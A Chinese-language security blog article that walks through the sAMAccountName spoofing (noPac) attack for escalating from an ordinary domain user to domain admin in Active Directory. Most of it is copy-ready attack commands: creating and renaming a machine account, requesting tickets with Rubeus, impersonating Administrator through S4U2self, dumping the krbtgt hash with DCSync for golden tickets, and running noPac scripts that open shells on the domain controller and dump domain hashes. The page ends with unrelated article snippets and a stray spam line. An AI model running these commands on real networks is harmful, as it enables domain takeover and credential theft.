<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨分享 | 域內提權之sAMAccountName欺騙

    VSole2022-08-16 07:08:33

    文章前言

    與標準用戶帳戶相比計算機帳戶的名稱末尾附加了$符號,默認情況下Microsoft操作系統缺乏可以防止許多攻擊的安全控制和強化措施,此外多年來已經證明Windows生態系統中許多事物工作方式可以通過利用現有功能和工作流程來實現濫用

    具體來說,活動目錄中的每個帳戶在sAMAccountName屬性中都有自己的名稱,但是由于沒有控制導致可以任意使用,因此任何擁有控制權和對象(即機器帳戶)的用戶都可以修改此值,該修改的目的可能導致模擬域上的其他帳戶,例如域控制器計算機帳戶,Charlie Clark是第一個通過發布詳細文章說明如何將這些漏洞武器化的人

    在請求服務票證之前需要首先簽發票證授予票證(TGT),當為密鑰分發中心 (KDC)中不存在的帳戶請求服務票證時,密鑰分發中心將跟進在該帳戶上附加 $符號的搜索,將此行為與對sAMAccountName屬性缺乏控制相結合,紅隊操作員可以利用它進行域權限提升,具體來說,可以請求域控制器帳戶的票證授予票證,并且在任何服務票證請求之前恢復sAMAccountName屬性值將強制KDC搜索域控制器的機器帳戶并發出提升的服務票證代表域管理員

    為了正確利用這種攻擊進行域升級,用戶需要擁有計算機帳戶的權限才能修改sAMAccountName和servicePrincipalName屬性,可以創建機器帳戶的用戶具有修改這些屬性所需的權限,默認情況下,域用戶的機器帳戶配額設置為 10,這允許用戶在域上創建機器帳戶,或者可以從作為機器帳戶所有者的帳戶的角度進行此攻擊,通過sAMAccountName模擬執行域升級包括以下步驟

    • 創建機器帳戶
    • 清除servicePrincipalName屬性
    • 修改機器賬戶的sAMAccountName屬性指向不帶$符號的域控制器名稱
    • 為域控制器帳戶請求TGT
    • 將sAMAccountName屬性恢復為其原始值或任何其他值
    • 使用S4U2self方法請求服務票證
    • 代表域管理員帳戶接收服務票證

    下圖說明了sAMAccountName模擬技術的步驟:

    漏洞發現

    Microsoft已發布補丁以防止成功利用,但是在許多情況下補丁沒有按時應用,這會產生一個可以在紅隊評估期間利用該技術的時間段,該技術的先決條件如下

    • 缺少KB5008380和KB5008602安全補丁的域控制器
    • 有效的域用戶帳戶
    • 機器帳號配額大于0

    需要訪問內部網絡,因此假設低權限帳戶已被盜用,如上所述,機器帳戶配額默認為10,因此唯一的要求是確定是否已應用補丁,這是微不足道的,可以通過為域用戶帳戶請求沒有PAC的票證授予票證并觀察base64票證大小(與使用PAC簽發的票證相比更小)來實現,Rubeus可以與/nopac開關一起使用,為一個已知憑據的域帳戶請求TGT

    Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap
    

    查看票證大小可以理解域控制器很容易受到攻擊,因為PAC還沒有收到票證

    或者可以使用noPac C#工具檢索網絡上所有可用域控制器的TGT票證,該工具基于Rubeus,因為它使用庫Rubeus.lib.Interop.LUID來獲取票證,票證大小可以確定KDC是否在沒有PAC的情況下簽發了票證

    noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234
    

    如果從PowerShell控制臺執行操作,Shitsecure開發了一個PowerShell腳本Invoke-noPac,它將.NET 程序集noPac嵌入到base64中,由于該工具實際上是noPac,因此可以使用相同的參數來檢索票證

    Import-Module .\Invoke-noPAC.ps1
    Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"
    

    手動檢索

    有各種工具和腳本可以自動化來自域和非域加入系統的技術,然而在深入自動化之前,重要的是要了解如何使用現有的工具集手動執行這種攻擊,在活動目錄中創建機器帳戶對于紅隊操作來說并不新鮮,因為它也可以在基于資源的約束委派期間使用,Kevin Robertson開發了一個名為Powermad的 PowerShell模塊,該模塊具有可以在域上創建機器帳戶的功能

    New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"
    

    使用PowerSploit的Set-DomainObject從已創建的機器帳戶中刪除服務主體名稱值是微不足道的

    Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"
    

    通過執行以下命令也可以從Powermad和SetMachineAccountAttribute 函數中修改sAMAccountName屬性值以指向域控制器主機名:

    Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"
    

    查看活動目錄中的屬性,可以看出新機器帳戶的值現在指向dc,因此該帳戶可以模擬域控制器

    可以通過查詢域控制器來驗證sAMAccountName屬性是否被修改,PowerSploit中的GetDomainComputer函數可以枚舉域中機器帳戶的屬性

      Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname
    

    對于涉及Kerberos的操作,Rubeus是標準工具,由于sam帳戶名稱已更改,因此可以從標準用戶的上下文中為dc帳戶請求票證授予票證

    .\Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap
    

    sam帳戶名稱屬性需要恢復到其原始值或任何其他值,否則將不會發出服務票證

    Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname
    

    由于TGT已存儲在內存中,因此可以使用S4U2self kerberos擴展代表域管理員請求服務票證,由于原始票據屬于dc用戶,但由于sam帳戶名稱已被重命名,因此Kerberos將查找dc$,它是一個有效的機器帳戶,并將為所請求的服務簽發票據

    ./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]
    

    可以從現有會話中執行Mimikatz,以便使用DCSync技術轉儲krbtgt帳戶的哈希,以創建黃金票

    lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt
    

    自動化實現

    可以使用由Cube0x0開發的C#工具noPac直接從內存中自動復制 sAMAccountName欺騙的步驟,執行以下命令將創建一個具有指定密碼的機器帳戶,并獲得cifs服務的服務票證,該票證將被傳遞到內存中

    noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt
    

    以下命令將驗證域升級,因為標準用戶可以枚舉域控制器上C$文件夾的內容

    dir \\dc.purple.lab\c$
    

    同樣如果初始植入是基于PowerShell的,則可以從Invoke-noPac腳本中使用相同的命令行參數,正如上面已經提到的它實際上是noPac C#工具的包裝器

    Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"
    

    訪問域控制器的C$文件夾將驗證緩存到內存中的服務票證是否已提升

    dir \\dc.purple.lab\c$
    

    非域內主機

    該技術的相同原理可以應用于未連接到域的系統,Hossam Hamed發布了一個名為sam the admin的python腳本來模擬攻擊,最初腳本將嘗試枚舉屬性ms-DS-MachineAccountQuota ,以確定是否可以在域中添加新計算機,然后將使用隨機密碼創建一個機器帳戶,新計算機帳戶的sAMAccountName 屬性將被修改為包含域控制器計算機帳戶的值,將請求提升票證并將其保存到緩存中,最后sAMAccountName的原始值”屬性將被恢復,并使用緩存的票證,將使用Impacket套件中的smbexec建立與域控制器的會話

    python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell
    

    該腳本包含一個標志,可用于轉儲域哈希,因為在后臺使用secretsdump

    python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump
    

    這些哈希可用于離線破解,以識別任何使用中的弱密碼,并確定客戶端的密碼策略是否足夠,是否符合行業標準或需要進一步評估,由于krbtgt帳戶的哈希是可見的,因此可以為域持久性創建黃金票

    Oliver Lyak發布了一個類似的python腳本,它既可以用于掃描域控制器以識別易受攻擊的主機,也可以用于檢索票證授予服務票證

    python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'
    

    對易受攻擊的域控制器執行以下命令將創建一個具有隨機密碼的機器帳戶,以獲得票證授予票證,然后機器帳戶名稱將重命名并使用S4U2self為屬于域管理員組的管理員用戶檢索并保存在本地的服務票證

    python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'
    

    可以使用export KRB5CCNAME和存儲票證的路徑將票證導入Kerberos緩存,由于票證現在是從當前控制臺導入的,因此Impacket psexec可以與 Kerberos身份驗證一起使用,以便訪問域控制器

    export KRB5CCNAME=administrator@purple.lab.ccache
    impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'
    

    這種技術的實現也可以通過一個基于名為noPac的 Python 腳本sam the admin的工具來實現,掃描程序腳本將枚舉ms-DS-MachineAccountQuota 屬性并將從所有可用的域控制器獲取票證授予票證,工單大小也將顯示在控制臺中,以便快速識別易受攻擊的目標,在下面的示例中與發出帶有PAC的票證的主機10.0.0.1相比,在沒有PAC的情況下收到的兩張票證相對較小

    python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
    

    此腳本可以根據活動使用各種參數執行,指定域用戶的憑據和域控制器的IP 地址將實施攻擊,直到檢索到提升的票證

    python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
    

    附加-shell和-impersonate標志將在域控制器上建立會話

    python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator
    

    類似地- dump標志可用于從NTDS.DIT機密中檢索域用戶的哈希值,由于已經通過Kerberos票證實現了域管理員訪問,因此獲取krbtgt帳戶的哈希將是建立域持久性的合乎邏輯的下一步

    python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt
    

    域控制器
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    對于尚未更新其系統以解決嚴重Zerologon漏洞的公司,Microsoft會自己處理。從2月9日開始,微軟表示將默認啟用域控制器“強制模式”,這將有助于緩解威脅。域控制器響應身份驗證請求并驗證計算機網絡上的用戶。成功利用此漏洞后,未經身份驗證的攻擊者就可以通過網絡訪問域控制器,從而完全破壞所有Active Directory身份服務。Microsoft 2020年8月的安全更新中首次解決了該漏洞,其嚴重嚴重性CVSS評分為10/10 。
    最近,一個名為Zerologon的嚴重漏洞–CVE-2020-1472–已成為全球范圍內的趨勢主題。從攻擊者的角度來看,與域控制器進行通信時,這種情況是可能的。為了利用這些潛在的漏洞,外部代理濫用了File-Manager插件中的漏洞–CVE-2020-25213,該漏洞允許在服務器端執行任意代碼。根據WordFence的數據,到2020年9月4日,記錄到超過170萬個站點受到攻擊,而到2020年9月10日,受攻擊的站點總數已超過260萬。同時,影響WP-Manager WordPress插件的CVE-2020-25213仍被犯罪分子利用。
    Dcsync在域環境中,不同域控制器之間,每 15 分鐘都會有一次域數據的同步。如果需要同步的數據比較多,則會重復上述過程。
    內網滲透TIPS總結
    2023-01-28 11:00:41
    內網基礎知識1、工作組:工作組是 局域網 中的一個概念,他是長久的資源管理模式。默認情況下使用工作組方式進行資源管理,將不同的 computer 按照不同的要求分類到不同的組。而實際上,因為域名的計算機是使用DNS 來定位域控制器、服務器及其他計算機、網絡服務的,所以域的名字就是DNS 域的名字。在內網滲透測試中,大都是通過尋找 DNS 服務器來確定域控制器的位置的。
    攻擊者通過獲取域控的DSRM密碼,就可以使用帳戶通過網絡登錄到域控服務器,從而達到權限維持的目的。域內權限維持的方式有很多,每增加一條安全檢測規則,就多一層安全保障。
    導出域內所有用戶的信息。該工具的原理是首先使用提供的用戶登錄憑據通過 smbexec 或者 wmiexec 遠程連接至域控制器并獲得高權限,進而從注冊表中導出本地帳戶的哈希,同時通過 Dcsync 或從 NTDS.dit 文件中導出所有域用戶的哈希。
    域環境下的信息搜集
    2023-05-23 09:25:36
    單域環境查看域環境用戶查看時間/dns服務器net time /domain /net view /domain. 查看域控制器可以得到域控制器IP地址域控還可能開放88 Kerberos 協議,01389 ldap,DNS 53 如果存在EXECHANGE 郵件服務器那么也開放了25還有我們熟悉的139,445.查看身處在哪個域net?該命令批量ping 出存活的IP ,如果沒有存在策略限制一般Ping出存貨的IP都可以進行端口掃描等操作。同等可以使用 nbtscan /fscan等內網掃描工具替代。會在 js下生成一個txt 里邊有web的目錄地址域控常見命令:查找目錄中的?查看指定IP的登錄記錄PVEFindADuser -current -target 192.168.91.133
    攻擊機制作木馬文件,實際環境中需做免殺。
    域環境下的信息搜集(詳細)
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类